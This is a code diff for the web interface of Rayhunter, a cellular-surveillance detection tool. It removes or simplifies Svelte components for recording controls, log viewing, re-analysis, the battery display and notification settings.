<tr class="even:bg-gray-200 odd:bg-white">
<td class="text-center">{count}</td>
<td>{message}</td>
</tr>
{/each}
</tbody>
</table>
</div>
</div> </div>
{/if} {/if}
@@ -1,17 +1,11 @@
<script lang="ts"> <script lang="ts">
import { type ReportMetadata } from '$lib/analysis.svelte'; import { type ReportMetadata } from '$lib/analysis.svelte';
import type { ManifestEntry } from '$lib/manifest.svelte'; import type { ManifestEntry } from '$lib/manifest.svelte';
import { AnalysisManager } from '$lib/analysisManager.svelte';
import AnalysisTable from './AnalysisTable.svelte'; import AnalysisTable from './AnalysisTable.svelte';
import ReAnalyzeButton from './ReAnalyzeButton.svelte';
let { let {
entry, entry,
manager,
current,
}: { }: {
entry: ManifestEntry; entry: ManifestEntry;
manager: AnalysisManager;
current: boolean;
} = $props(); } = $props();
</script> </script>
@@ -23,11 +17,6 @@
{:else} {:else}
{@const metadata: ReportMetadata = entry.analysis_report.metadata} {@const metadata: ReportMetadata = entry.analysis_report.metadata}
<div class="flex flex-col gap-2"> <div class="flex flex-col gap-2">
{#if !current}
<div class="flex flex-row justify-end items-center">
<ReAnalyzeButton {entry} {manager} />
</div>
{/if}
{#if entry.analysis_report.rows.length > 0} {#if entry.analysis_report.rows.length > 0}
<AnalysisTable report={entry.analysis_report} /> <AnalysisTable report={entry.analysis_report} />
{:else} {:else}
@@ -1,97 +0,0 @@
<script lang="ts">
import { user_action_req } from '$lib/utils.svelte';
let {
url,
method = 'POST',
label,
loadingLabel,
disabled = false,
variant = 'blue',
icon,
onclick,
ariaLabel,
errorMessage,
}: {
url: string;
method?: string;
label: string;
loadingLabel?: string;
disabled?: boolean;
variant?: 'blue' | 'red' | 'green';
icon?: any; // Svelte snippet
onclick?: () => void | Promise<void>;
ariaLabel?: string;
errorMessage?: string;
} = $props();
let is_requesting = $state(false);
let is_disabled = $derived(disabled || is_requesting);
const variantClasses = {
blue: {
enabled: 'bg-blue-500 hover:bg-blue-700',
disabled: 'bg-blue-500 opacity-50 cursor-not-allowed',
},
red: {
enabled: 'bg-red-500 hover:bg-red-700',
disabled: 'bg-red-500 opacity-50 cursor-not-allowed',
},
green: {
enabled: 'bg-green-500 hover:bg-green-700',
disabled: 'bg-green-500 opacity-50 cursor-not-allowed',
},
};
async function handleClick() {
if (is_disabled) return;
is_requesting = true;
try {
await user_action_req(
method,
url,
errorMessage ? errorMessage : 'Error performing action'
);
if (onclick) {
await onclick();
}
} catch (err) {
console.error(`Failed to ${method} ${url}:`, err);
alert(`Request failed. Please try again.`);
} finally {
is_requesting = false;
}
}
let buttonClasses = $derived(
is_disabled ? variantClasses[variant].disabled : variantClasses[variant].enabled
);
</script>
<button
class="text-white font-bold py-2 px-2 sm:px-4 rounded-md flex flex-row items-center gap-1 {buttonClasses}"
onclick={handleClick}
disabled={is_disabled}
aria-label={ariaLabel || label}
>
<span>{is_requesting && loadingLabel ? loadingLabel : label}</span>
{#if is_requesting}
<svg
class="w-4 h-4 text-white animate-spin"
xmlns="http://www.w3.org/2000/svg"
fill="none"
viewBox="0 0 24 24"
>
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"
></circle>
<path
class="opacity-75"
fill="currentColor"
d="m4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"
></path>
</svg>
{:else if icon}
{@render icon()}
{/if}
</button>
@@ -111,18 +111,6 @@
</select> </select>
</div> </div>
<div>
<label for="ntfy_url" class="block text-sm font-medium text-gray-700 mb-1">
ntfy URL for Sending Notifications
</label>
<input
id="ntfy_url"
type="url"
bind:value={config.ntfy_url}
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
/>
</div>
<div class="space-y-3"> <div class="space-y-3">
<div class="flex items-center"> <div class="flex items-center">
<input <input
@@ -215,22 +203,10 @@
bind:checked={config.analyzers.incomplete_sib} bind:checked={config.analyzers.incomplete_sib}
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded" class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
/> />
<label for="incomplete_sib" class="ml-2 block text-sm text-gray-700"> <label for="nas_null_cipher" class="ml-2 block text-sm text-gray-700">
Incomplete SIB Heuristic Incomplete SIB Heuristic
</label> </label>
</div> </div>
<div class="flex items-center">
<input
id="test_analyzer"
type="checkbox"
bind:checked={config.analyzers.test_analyzer}
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
/>
<label for="test_analyzer" class="ml-2 block text-sm text-gray-700">
Test Heuristic (noisey!)
</label>
</div>
</div> </div>
</div> </div>
@@ -7,6 +7,5 @@
text="Delete ALL Recordings" text="Delete ALL Recordings"
prompt={`Are you sure you want to delete ALL recordings?`} prompt={`Are you sure you want to delete ALL recordings?`}
url={`/api/delete-all-recordings`} url={`/api/delete-all-recordings`}
name="all recodings"
/> />
</div> </div>
@@ -1,26 +1,24 @@
<script lang="ts"> <script lang="ts">
import { user_action_req } from '$lib/utils.svelte'; import { req } from '$lib/utils.svelte';
let { let {
text, text,
url, url,
prompt, prompt,
name,
}: { }: {
text?: string; text?: string;
url: string; url: string;
prompt: string; prompt: string;
name: string;
} = $props(); } = $props();
function confirmDelete() { function confirmDelete() {
if (window.confirm(prompt)) { if (window.confirm(prompt)) {
user_action_req('POST', url, 'Unable to delete recording ' + name); req('POST', url);
} }
} }
</script> </script>
<button <button
class="bg-red-500 hover:bg-red-700 text-white font-bold py-2 px-2 sm:px-4 rounded-md flex flex-row" class="bg-red-500 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-md flex flex-row"
onclick={confirmDelete} onclick={confirmDelete}
aria-label="delete" aria-label="delete"
> >
@@ -8,16 +8,20 @@
text: string; text: string;
full_button?: boolean; full_button?: boolean;
} = $props(); } = $props();
function download() {
window.location.href = url;
}
</script> </script>
<a <button
href={url}
class="flex flex-row {full_button class="flex flex-row {full_button
? 'bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-2 sm:px-4 rounded-md' ? 'bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded-md'
: 'text-blue-600 underline'}" : 'text-blue-600 underline'}"
onclick={download}
> >
{text} {text}
<svg class="fill-current w-4 h-4 m-1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"> <svg class="fill-current w-4 h-4 m-1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20">
<path d="M13 8V2H7v6H2l8 8 8-8h-5zM0 18h20v2H0v-2z" /> <path d="M13 8V2H7v6H2l8 8 8-8h-5zM0 18h20v2H0v-2z" />
</svg> </svg>
</a> </button>
@@ -1,74 +0,0 @@
<script lang="ts">
import { get_logs } from '$lib/utils.svelte';
import { onMount } from 'svelte';
let { shown = $bindable() }: { shown: boolean } = $props();
let content: string | undefined = $state(undefined);
onMount(() => {
// Used by LogView modal
window.addEventListener('scroll', () => {
document.documentElement.style.setProperty('--scroll-y', `${window.scrollY}px`);
});
});
$effect(() => {
if (shown) {
const scrollY = document.documentElement.style.getPropertyValue('--scroll-y');
const body = document.body;
body.style.position = 'fixed';
body.style.top = `-${scrollY}`;
} else {
const body = document.body;
const scrollY = body.style.top;
body.style.position = '';
body.style.top = '';
window.scrollTo(0, parseInt(scrollY || '0') * -1);
}
const interval = setInterval(async () => {
try {
// Don't update UI if browser tab isn't visible
if (content !== undefined && (document.hidden || !shown)) {
return;
}
content = await get_logs();
} catch (error) {
console.log(error);
}
}, 1000);
return () => clearInterval(interval);
});
</script>
{#if shown}
<div
class="fixed left-5 right-5 top-5 bottom-5 z-50 bg-white border border-white rounded-md
flex flex-col p-2 drop-shadow"
>
<div class="flex h-20 justify-between items-center p-1">
<span class="text-2xl mb-2">Log</span>
<button onclick={() => (shown = false)} aria-label="close">
<svg
xmlns="http://www.w3.org/2000/svg"
aria-hidden="true"
width="24"
height="24"
fill="currentColor"
viewBox="0 0 24 24"
>
<path
fill-rule="evenodd"
clip-rule="evenodd"
d="M5.29289 5.29289C5.68342 4.90237 6.31658 4.90237 6.70711 5.29289L12 10.5858L17.2929 5.29289C17.6834 4.90237 18.3166 4.90237 18.7071 5.29289C19.0976 5.68342 19.0976 6.31658 18.7071 6.70711L13.4142 12L18.7071 17.2929C19.0976 17.6834 19.0976 18.3166 18.7071 18.7071C18.3166 19.0976 17.6834 19.0976 17.2929 18.7071L12 13.4142L6.70711 18.7071C6.31658 19.0976 5.68342 19.0976 5.29289 18.7071C4.90237 18.3166 4.90237 17.6834 5.29289 17.2929L10.5858 12L5.29289 6.70711C4.90237 6.31658 4.90237 5.68342 5.29289 5.29289Z"
fill="#0F1729"
/>
</svg>
</button>
</div>
<div class="bg-gray-100 border border-gray-100 rounded-md overflow-scroll">
<pre class="m-2">{content}</pre>
</div>
</div>
{/if}
@@ -1,6 +1,5 @@
<script lang="ts"> <script lang="ts">
import { ManifestEntry } from '$lib/manifest.svelte'; import { ManifestEntry } from '$lib/manifest.svelte';
import { AnalysisManager } from '$lib/analysisManager.svelte';
import DownloadLink from '$lib/components/DownloadLink.svelte'; import DownloadLink from '$lib/components/DownloadLink.svelte';
import DeleteButton from '$lib/components/DeleteButton.svelte'; import DeleteButton from '$lib/components/DeleteButton.svelte';
import AnalysisStatus from './AnalysisStatus.svelte'; import AnalysisStatus from './AnalysisStatus.svelte';
@@ -10,12 +9,10 @@
entry, entry,
current, current,
server_is_recording, server_is_recording,
manager,
}: { }: {
entry: ManifestEntry; entry: ManifestEntry;
current: boolean; current: boolean;
server_is_recording: boolean; server_is_recording: boolean;
manager: AnalysisManager;
} = $props(); } = $props();
// passing `undefined` as the locale uses the browser default // passing `undefined` as the locale uses the browser default
@@ -44,7 +41,7 @@
</script> </script>
<div <div
class="{status_row_color} {status_border_color} drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 overflow-x-scroll overflow-y-hidden" class="{status_row_color} {status_border_color} drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1"
> >
{#if current} {#if current}
<div class="flex flex-row justify-between gap-2"> <div class="flex flex-row justify-between gap-2">
@@ -81,7 +78,7 @@
'N/A'}</span 'N/A'}</span
> >
</div> </div>
<div class="flex flex-row justify-between lg:justify-end gap-1 mt-2 overflow-x-scroll"> <div class="flex flex-row justify-between lg:justify-end gap-2 mt-2">
<DownloadLink url={entry.get_pcap_url()} text="pcap" full_button /> <DownloadLink url={entry.get_pcap_url()} text="pcap" full_button />
<DownloadLink url={entry.get_qmdl_url()} text="qmdl" full_button /> <DownloadLink url={entry.get_qmdl_url()} text="qmdl" full_button />
<DownloadLink url={entry.get_zip_url()} text="zip" full_button /> <DownloadLink url={entry.get_zip_url()} text="zip" full_button />
@@ -91,11 +88,10 @@
<DeleteButton <DeleteButton
prompt={`Are you sure you want to delete entry ${entry.name}?`} prompt={`Are you sure you want to delete entry ${entry.name}?`}
url={entry.get_delete_url()} url={entry.get_delete_url()}
name={entry.name}
/> />
{/if} {/if}
</div> </div>
<div class="border-b {analysis_visible ? '' : 'hidden'}"> <div class="border-b {analysis_visible ? '' : 'hidden'}">
<AnalysisView {entry} {manager} {current} /> <AnalysisView {entry} />
</div> </div>
</div> </div>
@@ -1,14 +1,12 @@
<script lang="ts"> <script lang="ts">
import { ManifestEntry } from '$lib/manifest.svelte'; import { ManifestEntry } from '$lib/manifest.svelte';
import { AnalysisManager } from '$lib/analysisManager.svelte';
import TableRow from './ManifestTableRow.svelte'; import TableRow from './ManifestTableRow.svelte';
import Card from './ManifestCard.svelte'; import Card from './ManifestCard.svelte';
interface Props { interface Props {
entries: ManifestEntry[]; entries: ManifestEntry[];
server_is_recording: boolean; server_is_recording: boolean;
manager: AnalysisManager;
} }
let { entries, server_is_recording, manager }: Props = $props(); let { entries, server_is_recording }: Props = $props();
</script> </script>
<!--For larger screens we use a table--> <!--For larger screens we use a table-->
@@ -19,20 +17,22 @@
<th class="p-2" scope="col">Started</th> <th class="p-2" scope="col">Started</th>
<th class="p-2" scope="col">Last Message</th> <th class="p-2" scope="col">Last Message</th>
<th class="p-2" scope="col">Size</th> <th class="p-2" scope="col">Size</th>
<th class="p-2" scope="col">Download</th> <th class="p-2" scope="col">PCAP</th>
<th class="p-2" scope="col">QMDL</th>
<th class="p-2" scope="col">ZIP</th>
<th class="p-2" scope="col">Analysis</th> <th class="p-2" scope="col">Analysis</th>
<th class="p-2" scope="col"></th> <th class="p-2" scope="col"></th>
</tr> </tr>
</thead> </thead>
<tbody> <tbody>
{#each entries as entry, i} {#each entries as entry, i}
<TableRow {entry} current={false} {i} {manager} /> <TableRow {entry} current={false} {i} />
{/each} {/each}
</tbody> </tbody>
</table> </table>
<!--For smaller screens we use cards--> <!--For smaller screens we use cards-->
<div class="lg:hidden flex flex-col gap-4"> <div class="lg:hidden flex flex-col gap-4">
{#each entries as entry} {#each entries as entry}
<Card {entry} current={false} {server_is_recording} {manager} /> <Card {entry} current={false} {server_is_recording} />
{/each} {/each}
</div> </div>
@@ -1,6 +1,5 @@
<script lang="ts"> <script lang="ts">
import { ManifestEntry } from '$lib/manifest.svelte'; import { ManifestEntry } from '$lib/manifest.svelte';
import { AnalysisManager } from '$lib/analysisManager.svelte';
import DownloadLink from '$lib/components/DownloadLink.svelte'; import DownloadLink from '$lib/components/DownloadLink.svelte';
import DeleteButton from '$lib/components/DeleteButton.svelte'; import DeleteButton from '$lib/components/DeleteButton.svelte';
import AnalysisStatus from './AnalysisStatus.svelte'; import AnalysisStatus from './AnalysisStatus.svelte';
@@ -9,12 +8,10 @@
entry, entry,
current, current,
i, i,
manager,
}: { }: {
entry: ManifestEntry; entry: ManifestEntry;
current: boolean; current: boolean;
i: number; i: number;
manager: AnalysisManager;
} = $props(); } = $props();
// passing `undefined` as the locale uses the browser default // passing `undefined` as the locale uses the browser default
@@ -43,13 +40,9 @@
>{(entry.last_message_time && date_formatter.format(entry.last_message_time)) || 'N/A'}</td >{(entry.last_message_time && date_formatter.format(entry.last_message_time)) || 'N/A'}</td
> >
<td class="p-2">{entry.get_readable_qmdl_size()}</td> <td class="p-2">{entry.get_readable_qmdl_size()}</td>
<td class="p-2"> <td class="p-2"><DownloadLink url={entry.get_pcap_url()} text="pcap" /></td>
<div class="flex flex-row gap-2"> <td class="p-2"><DownloadLink url={entry.get_qmdl_url()} text="qmdl" /></td>
<DownloadLink url={entry.get_pcap_url()} text="pcap" /> <td class="p-2"><DownloadLink url={entry.get_zip_url()} text="zip" /></td>
<DownloadLink url={entry.get_qmdl_url()} text="qmdl" />
<DownloadLink url={entry.get_zip_url()} text="zip" />
</div>
</td>
<td class="p-2" <td class="p-2"
><AnalysisStatus onclick={toggle_analysis_visibility} {entry} {analysis_visible} /></td ><AnalysisStatus onclick={toggle_analysis_visibility} {entry} {analysis_visible} /></td
> >
@@ -60,13 +53,12 @@
<DeleteButton <DeleteButton
prompt={`Are you sure you want to delete entry ${entry.name}?`} prompt={`Are you sure you want to delete entry ${entry.name}?`}
url={entry.get_delete_url()} url={entry.get_delete_url()}
name={entry.name}
/> />
</td> </td>
{/if} {/if}
</tr> </tr>
<tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'hidden'}"> <tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'hidden'}">
<td class="border-t border-dashed p-2" colspan="9"> <td class="border-t border-dashed p-2" colspan="9">
<AnalysisView {entry} {manager} {current} /> <AnalysisView {entry} />
</td> </td>
</tr> </tr>
@@ -1,48 +0,0 @@
<script lang="ts">
import ApiRequestButton from './ApiRequestButton.svelte';
import { AnalysisStatus, AnalysisManager } from '$lib/analysisManager.svelte';
import type { ManifestEntry } from '$lib/manifest.svelte';
let {
entry,
manager,
}: {
entry: ManifestEntry;
manager: AnalysisManager;
} = $props();
let url = $derived(entry.get_reanalyze_url());
let entry_name = $derived(entry.name);
let analysis_status = $derived(entry.analysis_status);
let is_processing = $derived(
analysis_status === AnalysisStatus.Queued || analysis_status === AnalysisStatus.Running
);
async function handleReAnalyze() {
// Update the entry directly for immediate UI feedback
entry.analysis_status = AnalysisStatus.Queued;
entry.analysis_report = undefined;
manager.set_queued_status(entry_name);
}
</script>
<ApiRequestButton
{url}
label="Re-analyze"
loadingLabel="Analyzing..."
disabled={is_processing}
variant="blue"
onclick={handleReAnalyze}
ariaLabel="re-analyze"
errorMessage="Error re-analyzing recoding"
>
{#snippet icon()}
<svg style="width:20px;height:20px" viewBox="0 0 24 24">
<path
fill="white"
d="M12,18A6,6 0 0,1 6,12C6,11 6.25,10.03 6.7,9.2L5.24,7.74C4.46,8.97 4,10.43 4,12A8,8 0 0,0 12,20V23L16,19L12,15M12,4V1L8,5L12,9V6A6,6 0 0,1 18,12C18,13 17.75,13.97 17.3,14.8L18.76,16.26C19.54,15.03 20,13.57 20,12A8,8 0 0,0 12,4Z"
/>
</svg>
{/snippet}
</ApiRequestButton>
@@ -1,60 +1,100 @@
<script lang="ts"> <script lang="ts">
import ApiRequestButton from './ApiRequestButton.svelte'; import { req } from '$lib/utils.svelte';
let { let {
server_is_recording, server_is_recording,
}: { }: {
server_is_recording: boolean; server_is_recording: boolean;
} = $props(); } = $props();
let client_set_recording = $state(server_is_recording);
let waiting_for_server = $derived(client_set_recording !== server_is_recording);
async function start_recording() {
await req('POST', '/api/start-recording');
client_set_recording = true;
}
async function stop_recording() {
await req('POST', '/api/stop-recording');
client_set_recording = false;
}
const recording_button_classes =
'text-white font-bold py-2 px-4 rounded-md flex flex-row gap-1';
const stop_recording_classes = `${recording_button_classes} bg-red-500 opacity-50 cursor-not-allowed`;
const start_recording_classes = `${recording_button_classes} bg-blue-500 opacity-50 cursor-not-allowed`;
</script> </script>
<div> <div>
{#if server_is_recording} {#if waiting_for_server}
<ApiRequestButton <button
url="/api/stop-recording" class={server_is_recording ? stop_recording_classes : start_recording_classes}
label="Stop" disabled
variant="red"
errorMessage="Error stoppping recording"
> >
{#snippet icon()} <span>{server_is_recording ? 'Stopping...' : 'Starting...'}</span>
<svg <svg
class="w-6 h-6 text-white" class="w-4 h-4 text-white animate-spin"
aria-hidden="true" xmlns="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg" fill="none"
width="24" viewBox="0 0 24 24"
height="24" >
<circle
class="opacity-25"
cx="12"
cy="12"
r="10"
stroke="currentColor"
stroke-width="4"
></circle>
<path
class="opacity-75"
fill="currentColor" fill="currentColor"
viewBox="0 0 24 24" d="m4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"
> ></path>
<path </svg>
d="M7 5a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V7a2 2 0 0 0-2-2H7Z" </button>
/> {:else if server_is_recording}
</svg> <button
{/snippet} class="{recording_button_classes} bg-red-500 hover:bg-red-700"
</ApiRequestButton> onclick={stop_recording}
>
<span>Stop</span>
<svg
class="w-6 h-6 text-white"
aria-hidden="true"
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
fill="currentColor"
viewBox="0 0 24 24"
>
<path d="M7 5a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V7a2 2 0 0 0-2-2H7Z" />
</svg>
</button>
{:else} {:else}
<ApiRequestButton <button
url="/api/start-recording" class="{recording_button_classes} bg-blue-500 hover:bg-blue-700"
label="Start" onclick={start_recording}
variant="blue"
errorMessage="Error starting recording"
> >
{#snippet icon()} <span>Start</span>
<svg <svg
class="w-6 h-6 text-white" class="w-6 h-6 text-white"
aria-hidden="true" aria-hidden="true"
xmlns="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg"
width="24" width="24"
height="24" height="24"
fill="currentColor" fill="currentColor"
viewBox="0 0 24 24" viewBox="0 0 24 24"
> >
<path <path
fill-rule="evenodd" fill-rule="evenodd"
d="M8.6 5.2A1 1 0 0 0 7 6v12a1 1 0 0 0 1.6.8l8-6a1 1 0 0 0 0-1.6l-8-6Z" d="M8.6 5.2A1 1 0 0 0 7 6v12a1 1 0 0 0 1.6.8l8-6a1 1 0 0 0 0-1.6l-8-6Z"
clip-rule="evenodd" clip-rule="evenodd"
/> />
</svg> </svg>
{/snippet} </button>
</ApiRequestButton>
{/if} {/if}
</div> </div>
<style>
</style>
@@ -7,32 +7,6 @@
} = $props(); } = $props();
const table_cell_classes = 'border p-1 lg:p-2'; const table_cell_classes = 'border p-1 lg:p-2';
let battery_level = $derived(stats.battery_status ? stats.battery_status.level : 0);
let bar_color = $derived.by(() => {
if (stats.battery_status === undefined) {
return '';
}
if (battery_level <= 10) {
return 'fill-red-500';
}
if (battery_level <= 25) {
return 'fill-yellow-300';
}
return 'fill-green-500';
});
let title_text = $derived.by(() => {
if (stats.battery_status === undefined) {
return 'Rayhunter does not yet support displaying the battery level for this device.';
}
let text = `Battery is ${stats.battery_status.level}% full`;
if (stats.battery_status.is_plugged_in) {
text += ' and plugged in';
}
return text;
});
</script> </script>
<div <div
@@ -58,64 +32,6 @@
Free: {stats.memory_stats.free}, Used: {stats.memory_stats.used} Free: {stats.memory_stats.free}, Used: {stats.memory_stats.used}
</td> </td>
</tr> </tr>
<tr class="border-b">
<th class={table_cell_classes}> Battery </th>
<td class={table_cell_classes}>
<svg
width="80"
height="30"
viewBox="0 0 80 30"
role="img"
xmlns="http://www.w3.org/2000/svg"
class="battery-icon"
>
<title>{title_text}</title>
<!-- Battery body -->
<rect
class="fill-none stroke-neutral-800 stroke-2"
width="70"
height="30"
rx="3"
ry="3"
/>
<!-- Battery terminal -->
<rect
class="fill-neutral-800"
x="70"
y="7"
width="8"
height="16"
rx="2"
ry="2"
/>
<!-- Battery charge bar -->
<rect
class={bar_color}
x="2"
y="2"
height="26"
rx="2"
ry="2"
style="width: {battery_level * 0.66}px;"
/>
{#if stats.battery_status && stats.battery_status.is_plugged_in}
<!-- Lightning bolt icon -->
<path
class="fill-yellow-300 stroke-neutral-800 stroke-1"
d="M38 3 L28 17 L34 17 L30 27 L40 13 L34 13 Z"
/>
{/if}
{#if !stats.battery_status}
<!-- Question mark icon -->
<text
class="fill-neutral-500 text-[20px] font-bold [text-anchor:middle] [dominant-baseline:central]"
x="35"
y="15">?</text
>
{/if}
</svg>
</td>
</tr>
</tbody> </tbody>
</table> </table>
</div> </div>
-4
View File
@@ -102,8 +102,4 @@ export class ManifestEntry {
get_delete_url(): string { get_delete_url(): string {
return `/api/delete-recording/${this.name}`; return `/api/delete-recording/${this.name}`;
} }
get_reanalyze_url(): string {
return `/api/analysis/${this.name}`;
}
} }
-6
View File
@@ -2,7 +2,6 @@ export interface SystemStats {
disk_stats: DiskStats; disk_stats: DiskStats;
memory_stats: MemoryStats; memory_stats: MemoryStats;
runtime_metadata: RuntimeMetadata; runtime_metadata: RuntimeMetadata;
battery_status?: BatteryStatus;
} }
export interface RuntimeMetadata { export interface RuntimeMetadata {
@@ -25,8 +24,3 @@ export interface MemoryStats {
used: string; used: string;
free: string; free: string;
} }
export interface BatteryStatus {
level: number;
is_plugged_in: boolean;
}
-24
View File
@@ -1,4 +1,3 @@
import { add_error } from './action_errors.svelte';
import { Manifest } from './manifest.svelte'; import { Manifest } from './manifest.svelte';
import type { SystemStats } from './systemStats'; import type { SystemStats } from './systemStats';
@@ -9,14 +8,12 @@ export interface AnalyzerConfig {
null_cipher: boolean; null_cipher: boolean;
nas_null_cipher: boolean; nas_null_cipher: boolean;
incomplete_sib: boolean; incomplete_sib: boolean;
test_analyzer: boolean;
} }
export interface Config { export interface Config {
ui_level: number; ui_level: number;
colorblind_mode: boolean; colorblind_mode: boolean;
key_input_mode: number; key_input_mode: number;
ntfy_url: string;
analyzers: AnalyzerConfig; analyzers: AnalyzerConfig;
} }
@@ -32,23 +29,6 @@ export async function req(method: string, url: string): Promise<string> {
} }
} }
// A wrapper around req that reports errors to the UI
export async function user_action_req(
method: string,
url: string,
error_msg: string
): Promise<string | undefined> {
try {
return await req(method, url);
} catch (error) {
if (error instanceof Error) {
console.log('beeeo');
add_error(error, error_msg);
}
return undefined;
}
}
export async function get_manifest(): Promise<Manifest> { export async function get_manifest(): Promise<Manifest> {
const manifest_json = JSON.parse(await req('GET', '/api/qmdl-manifest')); const manifest_json = JSON.parse(await req('GET', '/api/qmdl-manifest'));
return new Manifest(manifest_json); return new Manifest(manifest_json);
@@ -58,10 +38,6 @@ export async function get_system_stats(): Promise<SystemStats> {
return JSON.parse(await req('GET', '/api/system-stats')); return JSON.parse(await req('GET', '/api/system-stats'));
} }
export async function get_logs(): Promise<string> {
return await req('GET', '/api/log');
}
export async function get_config(): Promise<Config> { export async function get_config(): Promise<Config> {
return JSON.parse(await req('GET', '/api/config')); return JSON.parse(await req('GET', '/api/config'));
} }
+13 -116
View File
@@ -7,97 +7,34 @@
import { AnalysisManager } from '$lib/analysisManager.svelte'; import { AnalysisManager } from '$lib/analysisManager.svelte';
import SystemStatsTable from '$lib/components/SystemStatsTable.svelte'; import SystemStatsTable from '$lib/components/SystemStatsTable.svelte';
import DeleteAllButton from '$lib/components/DeleteAllButton.svelte'; import DeleteAllButton from '$lib/components/DeleteAllButton.svelte';
import RecordingControls from '$lib/components/RecordingControls.svelte'; import RecordingControls from '$lib/components//RecordingControls.svelte';
import ConfigForm from '$lib/components/ConfigForm.svelte'; import ConfigForm from '$lib/components/ConfigForm.svelte';
import ActionErrors from '$lib/components/ActionErrors.svelte';
import LogView from '$lib/components/LogView.svelte';
let manager: AnalysisManager = new AnalysisManager(); let manager: AnalysisManager = new AnalysisManager();
let loaded = $state(false); let loaded = $state(false);
let entries: ManifestEntry[] = $state([]); let entries: ManifestEntry[] = $state([]);
let current_entry: ManifestEntry | undefined = $state(undefined); let current_entry: ManifestEntry | undefined = $state(undefined);
let system_stats: SystemStats | undefined = $state(undefined); let system_stats: SystemStats | undefined = $state(undefined);
let update_error: string | undefined = $state(undefined);
let logview_shown: boolean = $state(false);
$effect(() => { $effect(() => {
const interval = setInterval(async () => { const interval = setInterval(async () => {
try { await manager.update();
// Don't update UI if browser tab isn't visible let new_manifest = await get_manifest();
if (document.hidden) { await new_manifest.set_analysis_status(manager);
return; entries = new_manifest.entries;
} current_entry = new_manifest.current_entry;
await manager.update(); system_stats = await get_system_stats();
let new_manifest = await get_manifest(); loaded = true;
await new_manifest.set_analysis_status(manager);
entries = new_manifest.entries;
current_entry = new_manifest.current_entry;
system_stats = await get_system_stats();
update_error = undefined;
loaded = true;
} catch (error) {
if (error instanceof Error) {
update_error = error.message;
} else {
update_error = '';
}
}
}, 1000); }, 1000);
return () => clearInterval(interval); return () => clearInterval(interval);
}); });
</script> </script>
<LogView bind:shown={logview_shown} />
<div class="p-4 xl:px-8 bg-rayhunter-blue drop-shadow flex flex-row justify-between items-center"> <div class="p-4 xl:px-8 bg-rayhunter-blue drop-shadow flex flex-row justify-between items-center">
<!-- https://www.w3.org/WAI/tutorials/images/decorative/ --> <!-- https://www.w3.org/WAI/tutorials/images/decorative/ -->
<img src="/rayhunter_text.png" alt="" class="h-10 xl:h-12" /> <img src="/rayhunter_text.png" alt="" class="h-10 xl:h-12" />
<div class="flex flex-row gap-4"> <div class="flex flex-row gap-4">
<button onclick={() => (logview_shown = true)} class="flex flex-row gap-1 group">
<span class="hidden text-white group-hover:text-gray-400 lg:flex">Logs</span>
<svg
class="w-6 h-6 text-white group-hover:text-gray-400"
aria-hidden="true"
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
fill="currentColor"
viewBox="0 0 24 24"
>
<path
d="M10 14H3"
stroke="currentColor"
stroke-width="1.5"
stroke-linecap="round"
/>
<path
d="M10 18H3"
stroke="currentColor"
stroke-width="1.5"
stroke-linecap="round"
/>
<path
d="M14 15L17.5 18L21 15"
stroke="currentColor"
stroke-width="1.5"
stroke-linecap="round"
stroke-linejoin="round"
/>
<path
d="M3 6L13.5 6M20 6L17.75 6"
stroke="currentColor"
stroke-width="1.5"
stroke-linecap="round"
/>
<path
d="M20 10L9.5 10M3 10H5.25"
stroke="currentColor"
stroke-width="1.5"
stroke-linecap="round"
/>
</svg>
</button>
<a <a
class="flex flex-row gap-1 group" class="flex flex-row gap-1 group"
href="https://github.com/EFForg/rayhunter/issues" href="https://github.com/EFForg/rayhunter/issues"
@@ -147,50 +84,10 @@
</div> </div>
</div> </div>
<div class="m-4 xl:mx-8 flex flex-col gap-4"> <div class="m-4 xl:mx-8 flex flex-col gap-4">
{#if update_error !== undefined}
<div
class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
>
<span class="text-2xl font-bold mb-2 flex flex-row items-center gap-2 text-red-600">
<svg
class="w-8 h-8 text-red-600"
aria-hidden="true"
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
fill="currentColor"
viewBox="0 0 24 24"
>
<path
fill-rule="evenodd"
d="M2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm11-4a1 1 0 1 0-2 0v5a1 1 0 1 0 2 0V8Zm-1 7a1 1 0 1 0 0 2h.01a1 1 0 1 0 0-2H12Z"
clip-rule="evenodd"
/>
</svg>
Connection Error
</span>
<span
>This webpage is not currently receiving updates from your Rayhunter device. This
could be do loss of connection or some issue with your device.</span
>
{#if update_error}
<details>
<summary>Error</summary>
<code>{update_error}</code>
</details>
{/if}
</div>
{/if}
<ActionErrors />
{#if loaded} {#if loaded}
<div class="flex flex-col lg:flex-row gap-4"> <div class="flex flex-col lg:flex-row gap-4">
{#if current_entry} {#if current_entry}
